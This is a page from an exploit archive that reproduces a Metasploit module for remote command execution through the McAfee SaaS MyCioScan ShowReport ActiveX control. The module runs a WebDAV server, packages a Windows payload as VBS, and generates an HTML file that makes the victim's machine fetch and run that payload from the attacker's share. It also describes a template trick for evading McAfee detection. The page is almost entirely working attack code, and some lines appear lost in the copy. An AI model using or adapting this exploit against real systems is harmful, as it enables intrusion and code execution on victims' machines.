发布 2012-01-17 漏洞条目

McAfee SaaS MyCioScan ShowReport – Remote Command Execution (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

def initialize(info={})

super(update_info(info,

'Name' => "McAfee SaaS MyCioScan ShowReport Remote Command Execution",

'Description' => %q{

This module exploits a vulnerability found in McAfee Security-as-a-Service.

The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails

to check the FileName argument, and passes it on to a ShellExecuteW() function,

therefore allows any malicious attacker to execute any process that's on the

local system. However, if the victim machine is connected to a remote share (

or something similiar), then it's also possible to execute arbitrary code.

Please note that a custom template is required for the payload, because the

default Metasploit template is detectable by McAfee -- any Windows binary, such

as calc.exe or notepad.exe, should bypass McAfee fine.

'License' => MSF_LICENSE,

'Author' =>

[

'rgod', #Initial discovery

'sinn3r', #Metasploit

'References' =>

[

['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'],

'Payload' =>

{

'BadChars' => "\x00",

'DefaultOptions' =>

{

'ExitFunction' => "none",

#'InitialAutoRunScript' => 'migrate -f',

'DisablePayloadHandler' => 'false',

'Platform' => 'win',

'Targets' =>

[

['Internet Explorer', {}],

'Privileged' => false,

'DisclosureDate' => "Apr 1 2011",

'DefaultTarget' => 0))

register_options([

OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),

OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),

OptString.new('URIPATH', [ true, "The URI to use", "/" ]),

OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),

OptPath.new('TEMPLATE', [true, 'A custom template for the payload in order to bypass McAfee', ''])

], self.class)

end

def on_request_uri(cli, request)

case request.method

when 'OPTIONS'

process_options(cli, request)

when 'PROPFIND'

process_propfind(cli, request)

when 'GET'

process_get(cli, request)

else

print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")

resp = create_response(404, "Not Found")

resp.body = ""

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

end

def process_get(cli, request)

print_status("URI requested: #{request.uri.to_s}")

if request.uri =~ /\.vbs$/i

# Depending on the connection speed, this might take a moment to transfer the

# payload and actually get executed

send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'})

print_status("executable sent")

else

# Don't know the request, return not found

print_error("Don't care about this file, 404")

send_not_found(cli)

end

return

end

def process_options(cli, request)

vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")

headers = {

'MS-Author-Via' => 'DAV',

'DASL' => '<DAV:sql>',

'DAV' => '1, 2',

'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',

'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',

'Cache-Control' => 'private'

}

resp = create_response(207, "Multi-Status")

headers.each_pair {|k,v| resp[k] = v }

resp.body = ''

resp['Content-Type'] = 'text/xml'

cli.send_response(resp)

end

def process_propfind(cli, request)

path = request.uri

vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")

body = ''

my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

my_uri = "http://#{my_host}/"

if path !~ /\/$/

if path.index(".")

print_status("Sending 404 for #{path} ...")

resp = create_response(404, "Not Found")

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

return

else

print_status("Sending 301 for #{path} ...")

resp = create_response(301, "Moved")

resp["Location"] = path + "/"

resp['Content-Type'] = 'text/html'

cli.send_response(resp)

return

end

print_status("Sending directory multistatus for #{path} ...")

body = <<-BODY

<?xml version="1.0" encoding="utf-8"?>

<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype><D:collection/></lp1:resourcetype>

<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>

<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>httpd/unix-directory</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

BODY

body = body.gsub(/^\t\t/, '')

if request["Depth"].to_i > 0

if path.scan("/").length < 2

body << generate_shares(path)

else

# Set payload name, and set the hidden attribute. True means visible

filenames = [ [@vbs_name, false] ]

body << generate_files(path, filenames)

end

body << "</D:multistatus>"

body.gsub!(/\t/, '')

# send the response

resp = create_response(207, "Multi-Status")

resp.body = body

resp['Content-Type'] = 'text/xml; charset="utf8"'

cli.send_response(resp)

end

def gen_timestamp(ttype=nil)

::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")

end

def gen_datestamp(ttype=nil)

::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")

end

def generate_shares(path)

share_name = datastore['SHARENAME']

share = <<-SHARE

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}#{share_name}/</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype><D:collection/></lp1:resourcetype>

<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>

<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>httpd/unix-directory</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat>

</D:response>

share = share.gsub(/^\t\t/, '')

return share

end

def generate_files(path, items)

trail = path.split("/")

return "" if trail.length < 2

files = ""

items.each do |f, hide|

h = hide ? '1' : '0'

files << <<-FILES

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">

<D:href>#{path}#{f}</D:href>

<D:propstat>

<D:prop>

<lp1:resourcetype/>

<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>

<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>

<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>

<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>

<lp2:executable>T</lp2:executable>

<D:supportedlock>

<D:lockentry>

<D:lockscope><D:exclusive/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

<D:lockentry>

<D:lockscope><D:shared/></D:lockscope>

<D:locktype><D:write/></D:locktype>

</D:lockentry>

</D:supportedlock>

<D:lockdiscovery/>

<D:getcontenttype>application/octet-stream</D:getcontenttype>

</D:prop>

<D:status>HTTP/1.1 200 OK</D:status>

<D:ishidden b:dt="boolean">#{h}</D:ishidden>

</D:propstat>

</D:response>

FILES

end

files = files.gsub(/^\t\t\t/, '')

return files

end

def get_payload

fname = rand_text_alpha(5) + ".vbs"

p = payload.encoded

exe = Msf::Util::EXE.to_win32pe($framework, p, {:inject=>true, :template=>datastore['TEMPLATE']})

vbs = Msf::Util::EXE.to_exe_vbs(exe)

return fname, vbs

end

def exploit

@vbs_name, @vbs = get_payload

# progid: MYCIOSCNLib.Scan

# clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7

myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']

obj_name = rand_text_alpha(rand(6) + 3)

sub_name = rand_text_alpha(rand(6) + 3)

html = <<-HTML

<html>

<head>

</head>

<body>

sub #{sub_name}

#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}\\#{@vbs_name}"

end sub

#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}"

window.setTimeout "#{sub_name}", 1000

</script>

</body>

</html>

HTML

html = html.gsub(/^\t\t/, '')

file_create(html)

print_status("#{datastore['FILENAME']} must be run locally in order to execute our payload")

super

end

=begin

myCIOScn!CScnXml::SetNumScanned+0x19ab:

2101caf9 55 push ebp

0:003> lmv m myCIOScn

start end module name

21000000 2106d000 myCIOScn (export symbols) C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll

Loaded symbol image file: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll

Image path: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll

Image name: myCIOScn.dll

Timestamp: Wed Aug 10 11:34:01 2011 (4E42CF19)

CheckSum: 0007C3A6

ImageSize: 0006D000

File version: 5.2.3.104

Product version: 5.2.0.0

File flags: 0 (Mask 3F)

File OS: 40004 NT Win32

File type: 1.0 App

File date: 00000000.00000000

Translations: 0409.04b0

CompanyName: McAfee, Inc.

ProductName: McAfee® Security-as-a-Service

InternalName: myCioScn

OriginalFilename: myCioScn.DLL

ProductVersion: 5.2.3

FileVersion: 5.2.3.104

PrivateBuild: 5.2.3.104

SpecialBuild: FULL

FileDescription: myCioScn Module

.text:2101CB1A push esi

.text:2101CB1B push 1

.text:2101CB1D xor esi, esi

.text:2101CB1F push esi

.text:2101CB20 push esi

.text:2101CB21 push eax ; we own this

.text:2101CB22 push offset aOpen ; "open"

.text:2101CB27 push esi

.text:2101CB28 mov [ebp+0A50h+Str], eax

.text:2101CB2B call off_2105D350 ; ShellExecuteW

=end

作者: Metasploit
日期: 2012-01-17
类别: remote
平台: windows

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow